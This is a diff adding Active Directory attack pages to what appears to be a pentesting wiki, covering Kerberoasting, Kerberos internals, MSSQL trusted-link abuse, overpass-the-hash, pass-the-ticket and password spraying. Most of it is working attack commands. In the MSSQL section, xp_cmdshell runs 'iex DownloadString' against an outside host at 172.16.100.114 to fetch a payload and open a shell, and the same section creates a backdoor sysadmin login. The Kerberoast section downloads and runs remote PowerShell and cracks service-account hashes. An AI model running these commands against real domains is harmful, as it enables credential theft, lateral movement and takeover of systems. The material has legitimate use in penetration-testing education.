+* `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property`
+
+\*\*\*\*[**More information about Golden Ticket in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets)\*\*\*\*
+
diff --git a/windows/active-directory-methodology/kerberoast.md b/windows/active-directory-methodology/kerberoast.md
new file mode 100644
index 00000000000..9e771990474
--- /dev/null
+++ b/windows/active-directory-methodology/kerberoast.md
@@ -0,0 +1,83 @@
+# Kerberoast
+
+## Kerberoast
+
+The goal of **Kerberoasting** is to harvest **TGS tickets for services that run on behalf of user accounts** in the AD, not computer accounts. Thus, **part** of these TGS **tickets are** **encrypted** with **keys** derived from user passwords. As a consequence, their credentials could be **cracked offline**.  
+You can know that a **user account** is being used as a **service** because the property **"ServicePrincipalName"** is **not null**.
+
+Therefore, to perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is anyone since no special privileges are required.
+
+**You need valid credentials inside the domain.**
+
+{% code title="From linux" %}
+```bash
+msf> use auxiliary/gather/get_user_spns
+GetUserSPNs.py -request -dc-ip 192.168.2.160 <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
+GetUserSPNs.py -request -dc-ip 192.168.2.160 -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
+```
+{% endcode %}
+
+{% code title="From Windows, from memory to disk" %}
+```bash
+Get-NetUser -SPN | select serviceprincipalname #PowerView, get user service accounts
+
+#Get TGS in memory
+Add-Type -AssemblyName System.IdentityModel 
+New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local 
+ 
+klist #List kerberos tickets in memory
+ 
+Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
+```
+{% endcode %}
+
+{% code title="From Windows" %}
+```bash
+Request-SPNTicket -SPN "<SPN>" #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
+.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
+iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
+Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
+```
+{% endcode %}
+
+### Cracking
+
+```text
+john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
+hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
+./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
+```
+
+### Persistence
+
+If you have **enough permissions** over a user you can **make it kerberoastable**:
+
+```bash
+ Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
+```
+
+You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
+
+If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC: `ntpdate <IP of DC>`
+
+### Mitigation
+
+Kerberoast is very stealthy if exploitable
+
+* Security Event ID 4769 – A Kerberos ticket was requested
+* Since 4769 is very frequent, lets filter the results:
+  * Service name should not be krbtgt
+  * Service name does not end with $ \(to filter out machine accounts used for services\)
+  * Account name should not be machine@domain \(to filter out requests from machines\)
+  * Failure code is '0x0' \(to filter out failures, 0x0 is success\)
+  * Most importantly, ticket encryption type is 0x17
+* Mitigation:
+  * Service Account Passwords should be hard to guess \(greater than 25 characters\)
+  * Use Managed Service Accounts \(Automatic change of password periodically and delegated SPN Management\)
+
+```bash
+Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
+```
+
+**More information about Kerberoasting in ired.team in** [**here** ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)**and** [**here**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)**.**
+
diff --git a/windows/active-directory-methodology/kerberos-authentication.md b/windows/active-directory-methodology/kerberos-authentication.md
new file mode 100644
index 00000000000..53afb2ed383
--- /dev/null
+++ b/windows/active-directory-methodology/kerberos-authentication.md
@@ -0,0 +1,198 @@
+# Kerberos Authentication
+
+**This information was extracted from the post:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)\*\*\*\*
+
+## Kerberos \(I\): How does Kerberos work? – Theory
+
+20 - MAR - 2019 - ELOY PÉREZ
+
+The objective of this series of posts is to clarify how Kerberos works, more than just introduce the attacks. This due to the fact that in many occasions it is not clear why some techniques works or not. Having this knowledge allows to know when to use any of those attacks in a pentest.
+
+Therefore, after a long journey of diving into the documentation and several posts about the topic, we’ve tried to write in this post all the important details which an auditor should know in order to understand how take advantage of Kerberos protocol.
+
+In this first post only basic functionality will be discussed. In later posts it will see how perform the attacks and how the more complex aspects works, as delegation.
+
+If you have any doubt about the topic which it is not well explained, do not be afraid on leave a comment or question about it. Now, onto the topic.
+
+### What is Kerberos?
+
+Firstly, Kerberos is an authentication protocol, not authorization. In other words, it allows to identify each user, who provides a secret password, however, it does not validates to which resources or services can this user access.
+
+Kerberos is used in Active Directory. In this platform, Kerberos provides information about the privileges of each user, but it is responsability of each service to determine if the user has access to its resources.
+
+### Kerberos items
+
+In this section several components of Kerberos environment will be studied.
+
+**Transport layer**
+
+Kerberos uses either UDP or TCP as transport protocol, which sends data in cleartext. Due to this Kerberos is responsible for providing encryption.
+
+Ports used by Kerberos are UDP/88 and TCP/88, which should be listen in KDC \(explained in next section\).
+
+**Agents**
+
+Several agents work together to provide authentication in Kerberos. These are the following:
+
+* **Client or user** who wants to access to the service.
+* **AP** \(Application Server\) which offers the service required by the user.
+* **KDC** \(Key Distribution Center\), the main service of Kerberos, responsible of issuing the tickets, installed on the DC \(Domain Controller\). It is supported by the **AS** \(Authentication Service\), which issues the TGTs.
+
+**Encryption keys**
+
+There are several structures handled by Kerberos, as tickets. Many of those structures are encrypted or signed in order to prevent being tampered by third parties. These keys are the following:
+
+* **KDC or krbtgt key** which is derivate from krbtgt account NTLM hash.
+* **User key** which is derivate from user NTLM hash.
+* **Service key** which is derivate from the NTLM hash of service owner, which can be an user or computer account.
+* **Session key** which is negotiated between the user and KDC.
+* **Service session key** to be use between user and service.
+
+**Tickets**
+
+The main structures handled by Kerberos are the tickets. These tickets are delivered to the users in order to be used by them to perform several actions in the Kerberos realm. There are 2 types:
+
+* The **TGS** \(Ticket Granting Service\) is the ticket which user can use to authenticate against a service. It is encrypted with the service key.
+* The **TGT** \(Ticket Granting Ticket\) is the ticket presented to the KDC to request for TGSs. It is encrypted with the KDC key.
+
+**PAC**
+
+The **PAC** \(Privilege Attribute Certificate\) is an structure included in almost every ticket. This structure contains the privileges of the user and it is signed with the KDC key.
+
+It is possible to services to verify the PAC by comunicating with the KDC, although this does not happens often. Nevertheless, the PAC verification consists of checking only its signature, without inspecting if privileges inside of PAC are correct.
+
+Furthermore, a client can avoid the inclusion of the PAC inside the ticket by specifying it in _KERB-PA-PAC-REQUEST_ field of ticket request.
+
+**Messages**
+
+Kerberos uses differents kinds of messages. The most interesting are the following:
+
+* **KRB\_AS\_REQ**: Used to request the TGT to KDC.
+* **KRB\_AS\_REP**: Used to deliver the TGT by KDC.
+* **KRB\_TGS\_REQ**: Used to request the TGS to KDC, using the TGT.
+* **KRB\_TGS\_REP**: Used to deliver the TGS by KDC.
+* **KRB\_AP\_REQ**: Used to authenticate a user against a service, using the TGS.
+* **KRB\_AP\_REP**: \(Optional\) Used by service to identify itself against the user.
+* **KRB\_ERROR**: Message to comunicate error conditions.
+
+Additionally, even if it is not part of Kerberos, but NRPC, the AP optionally could use the **KERB\_VERIFY\_PAC\_REQUEST** message to send to KDC the signature of PAC, and verify if it is correct.
+
+Below is shown a summary of message sequency to perform authentication
+
+![Kerberos messages summary](../../.gitbook/assets/image%20%2844%29.png)
+
+### Authentication process
+
+In this section, the sequency of messages to perform authentication will be studied, starting from a user without tickets, up to being authenticated against the desired service.
+
+**KRB\_AS\_REQ**
+
+Firstly, user must get a TGT from KDC. To achieve this, a KRB\_AS\_REQ must be sent:
+
+![KRB\_AS\_REQ schema message](../../.gitbook/assets/image%20%2894%29.png)
+
+_KRB\_AS\_REQ_ has, among others, the following fields:
+
+* A encrypted **timestamp** with client key, to authenticate user and prevent replay attacks
+* **Username** of authenticated user
+* The service **SPN** asociated with **krbtgt** account
+* A **Nonce** generated by the user
+
+Note: the encrypted timestamp is only necessary if user requires preauthentication, which is common, except if [_DONT\_REQ\_PREAUTH_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro) __flag is set in user account.
+
+**KRB\_AS\_REP**
+
+After receiving the request, the KDC verifies the user identity by decrypting the timestamp. If the message is correct, then it must respond with a _KRB\_AS\_REP_:
+
+![KRB\_AS\_REP schema message](../../.gitbook/assets/image%20%28212%29.png)
+
+_KRB\_AS\_REP_ includes the next information:
+
+* **Username**
+* **TGT**, which includes:
+  * **Username**
+  * **Session key**
+  * **Expiration date** of TGT
+  * **PAC** with user privileges, signed by KDC
+* Some **encrypted data** with user key, which includes:
+  * **Session key**
+  * **Expiration date** of TGT
+  * User **nonce**, to prevent replay attacks
+
+Once finished, user already has the TGT, which can be used to request TGSs, and afterwards access to the services.
+
+**KRB\_TGS\_REQ**
+
+In order to request a TGS, a _KRB\_TGS\_REQ_ message must be sent to KDC:
+
+![KRB\_TGS\_REQ schema message](../../.gitbook/assets/image%20%2858%29.png)
+
+_KRB\_TGS\_REQ_ includes:
+
+* **Encrypted data** with session key:
+  * **Username**
+  * **Timestamp**
+* **TGT**
+* **SPN** of requested service
+* **Nonce** generated by user
+
+**KRB\_TGS\_REP**
+
+After receiving the _KRB\_TGS\_REQ_ message, the KDC returns a TGS inside of _KRB\_TGS\_REP_:
+
+![KRB\_TGS\_REP schema message](../../.gitbook/assets/image%20%2842%29.png)
+
+_KRB\_TGS\_REP_ includes:
+
+* **Username**
+* **TGS**, which contains:
+  * **Service session key**
+  * **Username**
+  * **Expiration date** of TGS
+  * **PAC** with user privileges, signed by KDC
+* **Encrypted data** with session key:
+  * **Service session key**
+  * **Expiration date** of TGS
+  * User **nonce**, to prevent replay attacks
+
+**KRB\_AP\_REQ**
+
+To finish, if everything went well, the user already has a valid TGS to interact with service. In order to use it, user must send to the AP a _KRB\_AP\_REQ_ message:
+
+![KRB\_AP\_REQ schema message](../../.gitbook/assets/image%20%28231%29.png)
+
+_KRB\_AP\_REQ_ includes:
+
+* **TGS**
+* **Encrypted data** with service session key:
+  * **Username**
+  * **Timestamp**, to avoid replay attacks
+
+After that, if user privileges are rigth, this can access to service. If is the case, which not usually happens, the AP will verify the PAC against the KDC. And also, if mutual authentication is needed it will respond to user with a _KRB\_AP\_REP_ message.
+
+### References
+
+* Kerberos v5 RFC: [https://tools.ietf.org/html/rfc4120](https://tools.ietf.org/html/rfc4120)
+* \[MS-KILE\] – Kerberos extension: [https://msdn.microsoft.com/en-us/library/cc233855.aspx](https://msdn.microsoft.com/en-us/library/cc233855.aspx)
+* \[MS-APDS\] – Authentication Protocol Domain Support: [https://msdn.microsoft.com/en-us/library/cc223948.aspx](https://msdn.microsoft.com/en-us/library/cc223948.aspx)
+* Mimikatz and Active Directory Kerberos Attacks: [https://adsecurity.org/?p=556](https://adsecurity.org/?p=556)
+* Explain like I’m 5: Kerberos: [https://www.roguelynn.com/words/explain-like-im-5-kerberos/](https://www.roguelynn.com/words/explain-like-im-5-kerberos/)
+* Kerberos & KRBTGT: [https://adsecurity.org/?p=483](https://adsecurity.org/?p=483)
+* Mastering Windows Network Forensics and Investigation, 2 Edition .  Autores: S. Anson , S. Bunting, R. Johnson y S. Pearson. Editorial Sibex.
+* Active Directory , 5 Edition. Autores: B. Desmond, J. Richards, R. Allen y A.G. Lowe-Norris
+* Service Principal Names: [https://msdn.microsoft.com/en-us/library/ms677949\(v=vs.85\).aspx](https://msdn.microsoft.com/en-us/library/ms677949%28v=vs.85%29.aspx)
+* Niveles funcionales de Active Directory: [https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0](https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0)
+* OverPass The Hash – Gentilkiwi Blog: [https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash](https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash)
+* Pass The Ticket – Gentilkiwi Blog: [https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos](https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos)
+* Golden Ticket – Gentilkiwi Blog: [https://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos](https://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos)
+* Mimikatz Golden Ticket Walkthrough: [https://www.beneaththewaves.net/Projects/Mimikatz\_20\_-\_Golden\_Ticket\_Walkthrough.html](https://www.beneaththewaves.net/Projects/Mimikatz_20_-_Golden_Ticket_Walkthrough.html)
+* Attacking Kerberos: Kicking the Guard Dog of Hades: [https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin\(1\).pdf](https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin%281%29.pdf)
+* Kerberoasting – Part 1: [https://room362.com/post/2016/kerberoast-pt1/](https://room362.com/post/2016/kerberoast-pt1/)
+* Kerberoasting – Part 2: [https://room362.com/post/2016/kerberoast-pt2/](https://room362.com/post/2016/kerberoast-pt2/)
+* Roasting AS-REPs: [https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
+* PAC Validation: [https://passing-the-hash.blogspot.com.es/2014/09/pac-validation-20-minute-rule-and.html](https://passing-the-hash.blogspot.com.es/2014/09/pac-validation-20-minute-rule-and.html)
+* Understanding PAC Validation: [https://blogs.msdn.microsoft.com/openspecification/2009/04/24/understanding-microsoft-kerberos-pac-validation/](https://blogs.msdn.microsoft.com/openspecification/2009/04/24/understanding-microsoft-kerberos-pac-validation/)
+* Reset the krbtgt acoount password/keys: [https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51](https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51)
+* Mitigating Pass-the-Hash \(PtH\) Attacks and Other Credential Theft: [https://www.microsoft.com/en-us/download/details.aspx?id=36036](https://www.microsoft.com/en-us/download/details.aspx?id=36036)
+* Fun with LDAP, Kerberos \(and MSRPC\) in AD Environments: [https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments?slide=58](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments?slide=58)
+
diff --git a/windows/active-directory-methodology/mssql-trusted-links.md b/windows/active-directory-methodology/mssql-trusted-links.md
new file mode 100644
index 00000000000..45149660c9c
--- /dev/null
+++ b/windows/active-directory-methodology/mssql-trusted-links.md
@@ -0,0 +1,114 @@
+# MSSQL Trusted Links
+
+## MSSQL Trusted Links
+
+If a user has privileges to **access MSSQL instances**, he could be able to use it to **execute commands** in the MSSQL host \(if running as SA\).   
+Also, if a MSSQL instance is trusted \(database link\) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.
+
+**The links between databases work even across forest trusts.**
+
+### **Powershell**
+
+```bash
+Import-Module .\PowerupSQL.psd1
+
+#Get local MSSQL instance (if any)
+Get-SQLInstanceLocal
+Get-SQLInstanceLocal | Get-SQLServerInfo
+
+#If you don't have a AD account, you can try to find MSSQL scanning via UDP
+#First, you will need a list of hosts to scan
+Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
+
+#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
+#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
+Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
+
+## FROM INSIDE OF THE DOMAIN
+#Get info about valid MSQL instances running in domain
+#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
+Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose 
+
+#Test connections with each one
+Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
+
+#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
+Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
+
+#Dump an instance (a lotof CVSs generated in current dir)
+Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
+
+#Look for MSSQL links of an accessible instance
+Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
+
+#Crawl trusted links, starting form the given one (the user being used by the MSSQL instance is also specified)
+Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
+
+#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
+Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
+
+#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
+Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
+
+#Obtain a shell
+Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
+
+#Check for possible vulnerabilities on an instance where you have access
+Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
+
+#Try to escalate privileges on an instance
+Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
+```
+
+### Metasploit
+
+You can easily check for trusted links using metasploit.
+
+```bash
+#Set username, password, windows auth (if using AD), IP...
+msf> use exploit/windows/mssql/mssql_linkcrawler
+[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
+```
+
+Notice that metasploit will try to abuse only the `openquery()` function in MSSQL \(so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.\)
+
+### Manual - Openquery\(\)
+
+From Linux you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py** and run queries like:
+
+```bash
+select * from openquery("DOMINIO\SERVER1",'select * from openquery("DOMINIO\SERVER2",''select * from master..sysservers'')')
+```
+
+From Windows you could also find the links and execute commands manually using a MSSQL client like [HeidiSQL](https://www.heidisql.com/)
+
+_Login using Windows authentication:_
+
+![](../../.gitbook/assets/image%20%28289%29.png)
+
+_Find links inside the accessible MSSQL server \(in this case the link is to dcorp-sql1\):_  
+`select * from master..sysservers`
+
+![](../../.gitbook/assets/image%20%28315%29.png)
+
+Execute queries through the link \(example: find more links in the new accessible instance\):  
+`select * from openquery("dcorp-sql1", 'select * from master..sysservers')`
+
+![](../../.gitbook/assets/image%20%28298%29.png)
+
+You can continue these trusted links chain forever manually.
+
+Some times you won't be able to perform actions like `exec xp_cmdshell` from `openquery()` in those cases it might be worth it to test the following method:
+
+### Manual - EXECUTE
+
+You can also abuse trusted links using EXECUTE:
+
+```bash
+#Create user and give admin privileges
+EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
+EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
+```
+
+
+
diff --git a/windows/active-directory-methodology/over-pass-the-hash-pass-the-key.md b/windows/active-directory-methodology/over-pass-the-hash-pass-the-key.md
new file mode 100644
index 00000000000..301b566e093
--- /dev/null
+++ b/windows/active-directory-methodology/over-pass-the-hash-pass-the-key.md
@@ -0,0 +1,29 @@
+# Over Pass the Hash/Pass the Key
+
+## Overpass The Hash/Pass The Key \(PTK\)
+
+This attack aims to **use the user NTLM hash to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol.
+
+In order to perform this attack, the **NTLM hash \(or password\) of the target user account is needed**. Thus, once a user hash is obtained, a TGT can be requested for that account. Finally, it is possible to **access** any service or machine **where the user account has permissions**.
+
+```text
+python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
+export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
+python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
+```
+
+You can **specify** `-aesKey [AES key]` to specify to use **AES256**.   
+You can also use the ticket with other tools like: as smbexec.py or wmiexec.py
+
+Possible problems:
+
+* _PyAsn1Error\(‘NamedTypes can cast only scalar values’,\)_ : Resolved by updating impacket to the lastest version.
+* _KDC can’t found the name_ : Resolved by using the hostname instead of the IP address, because it was not recognized by Kerberos KDC.
+
+```text
+.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
+.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
+```
+
+This kind of attack is similar to Pass the Key, but instead of using hashes to request for a ticket, the ticket itself is stolen and used to authenticate as its owner.
+
diff --git a/windows/active-directory-methodology/pass-the-ticket.md b/windows/active-directory-methodology/pass-the-ticket.md
new file mode 100644
index 00000000000..dfd656ccc11
--- /dev/null
+++ b/windows/active-directory-methodology/pass-the-ticket.md
@@ -0,0 +1,43 @@
+# Pass the Ticket
+
+## Pass The Ticket \(PTT\)
+
+This kind of attack is similar to Pass the Key, but instead of using hashes to request a ticket, the ticket itself is stolen and used to authenticate as its owner.
+
+**Read**:
+
+* [Harvesting tickets from Windows](../../pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
+* [Harvesting tickets from Linux](../../pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
+
+### **Swaping Linux and Windows tickets between platforms**
+
+The [ticket\_converter](https://github.com/Zer1t0/ticket_converter) script. The only needed parameters are the current ticket and the output file, it automatically detects the input ticket file format and converts it. For example:
+
+```text
+root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi
+Converting ccache => kirbi
+root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache
+Converting kirbi => ccache
+```
+
+[Kekeo](https://github.com/gentilkiwi/kekeo), to convert them in Windows. This tool was not checked due to requiring a license in their ASN1 library, but I think it is worth mentioning.
+
+### Pass The Ticket Attack
+
+{% code title="Linux" %}
+```bash
+export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK 
+python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass
+```
+{% endcode %}
+
+{% code title="Windows" %}
+```bash
+#Load the ticket in memory using mimikatz or Rubeus
+mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
+.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi
+klist #List tickets in cache to cehck that mimikatz has loaded the ticket
+.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd
+```
+{% endcode %}
+
diff --git a/windows/active-directory-methodology/password-spraying.md b/windows/active-directory-methodology/password-spraying.md
new file mode 100644
index 00000000000..5016d9b9329
--- /dev/null
+++ b/windows/active-directory-methodology/password-spraying.md
@@ -0,0 +1,113 @@
+# Password Spraying
+
+## **Password Spraying**
+
+Once you have found several **valid usernames** you can try the most **common passwords** \(keep in mind the password policy of the environment\) with each of the discovered users.  
+By **default** the **minimum** **password** **length** is **7**.
+
+Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
+
+Notice that you **could lockout some accounts if you try several wrong passwords** \(by default more than 10\).
+
+### Get password policy
+
+If you have some user credentials or a shell as a domain user you can get the password policy with:
+
+* `crackmapexec <IP> -u 'user' -p 'password' --pass-pol`
+* `enum4linx -u 'username' -p 'password' -P <IP>`
+* `(Get-DomainPolicy)."SystemAccess" #From powerview`
+
+### Exploitation
+
+Using **crackmapexec:**
+
+```bash
+crackmapexec smb <IP> -u users.txt -p passwords.txt
+```
+
+Using [kerbrute](https://github.com/TarlogicSecurity/kerbrute)\(python\) - NOT RECOMMENDED SOMETIMES DOESN'T WORK
+
+```bash
+python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
+python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
+```
+
+**Kerbrute** also tells if a username is valid.
+
+Using [kerbrute](https://github.com/ropnop/kerbrute)\(Go\)
+
+```bash
+./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
+./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
+```
+
+With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module:
+
+```bash
+# with a list of users
+.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
+
+# check passwords for all users in current domain
+.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
+```
+
+With the `scanner/smb/smb_login` module of Metasploit:
+
+![](../../.gitbook/assets/image%20%28234%29.png)
+
+With [Invoke-DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)
+
+```bash
+Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
+```
+
+or **spray** \(read next section\).
+
+### Lockout check
+
+The best way is not to try with more than 5/7 passwords per account.
+
+So you have to be very careful with password spraying because you could lockout accounts. To brute force taking this into mind, you can use [_**spray**_](https://github.com/Greenwolf/Spray)_**:**_
+
+```bash
+spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
+```
+
+## Outlook Web Access
+
+There are multiples tools for password spraying outlook.
+
+* With [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
+* with [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
+* With [Ruler](https://github.com/sensepost/ruler) \(reliable!\)
+* With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) \(Powershell\)
+* With [MailSniper](https://github.com/dafthack/MailSniper) \(Powershell\)
+
+To use any of these tools, you need a user list and a password / a small list of passwords to spray.
+
+```bash
+$ ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
+    [x] Failed: larsson:Summer2020
+    [x] Failed: cube0x0:Summer2020
+    [x] Failed: a.admin:Summer2020
+    [x] Failed: c.cube:Summer2020
+    [+] Success: s.svensson:Summer2020
+    [x] Failed: s.sven:Summer2020
+    [x] Failed: j.jenny:Summer2020
+    [x] Failed: t.teresa:Summer2020
+    [x] Failed: t.trump:Summer2020
+    [x] Failed: a.adams:Summer2020
+    [x] Failed: l.larsson:Summer2020
+    [x] Failed: CUBE0X0:Summer2020
+    [x] Failed: A.ADMIN:Summer2020
+    [x] Failed: C.CUBE:Summer2020
+    [+] Success: S.SVENSSON:Summer2020
+```
+
+## References :
+
+* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
+* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
+* www.blackhillsinfosec.com/?p=5296
+* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
+
diff --git a/windows/active-directory-methodology/printers-spooler-service-abuse.md b/windows/active-directory-methodology/printers-spooler-service-abuse.md
new file mode 100644
index 00000000000..565a3889c10
--- /dev/null
+++ b/windows/active-directory-methodology/printers-spooler-service-abuse.md
@@ -0,0 +1,64 @@
+# Force NTLM Privileged Authentication
+
+## Spooler Service Abuse
+
+If the _**Print Spooler**_ service is **enabled,** you can use some already known AD credentials to **request** to the Domain Controller’s print server an **update** on new print jobs and just tell it to **send the notification to some system**.  
+Note when printer send the notification to an arbitrary systems, it needs to **authenticate against** that **system**. Therefore, an attacker can make the _**Print Spooler**_ service authenticate against an arbitrary system, and the service will **use the computer account** in this authentication.
+
+### Finding Windows Servers on the domain
+
+Using PowerShell, get a list of Windows boxes. Servers are usually priority, so lets focus there:
+
+```bash
+Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
+```
+
+### Finding Spooler services listening
+
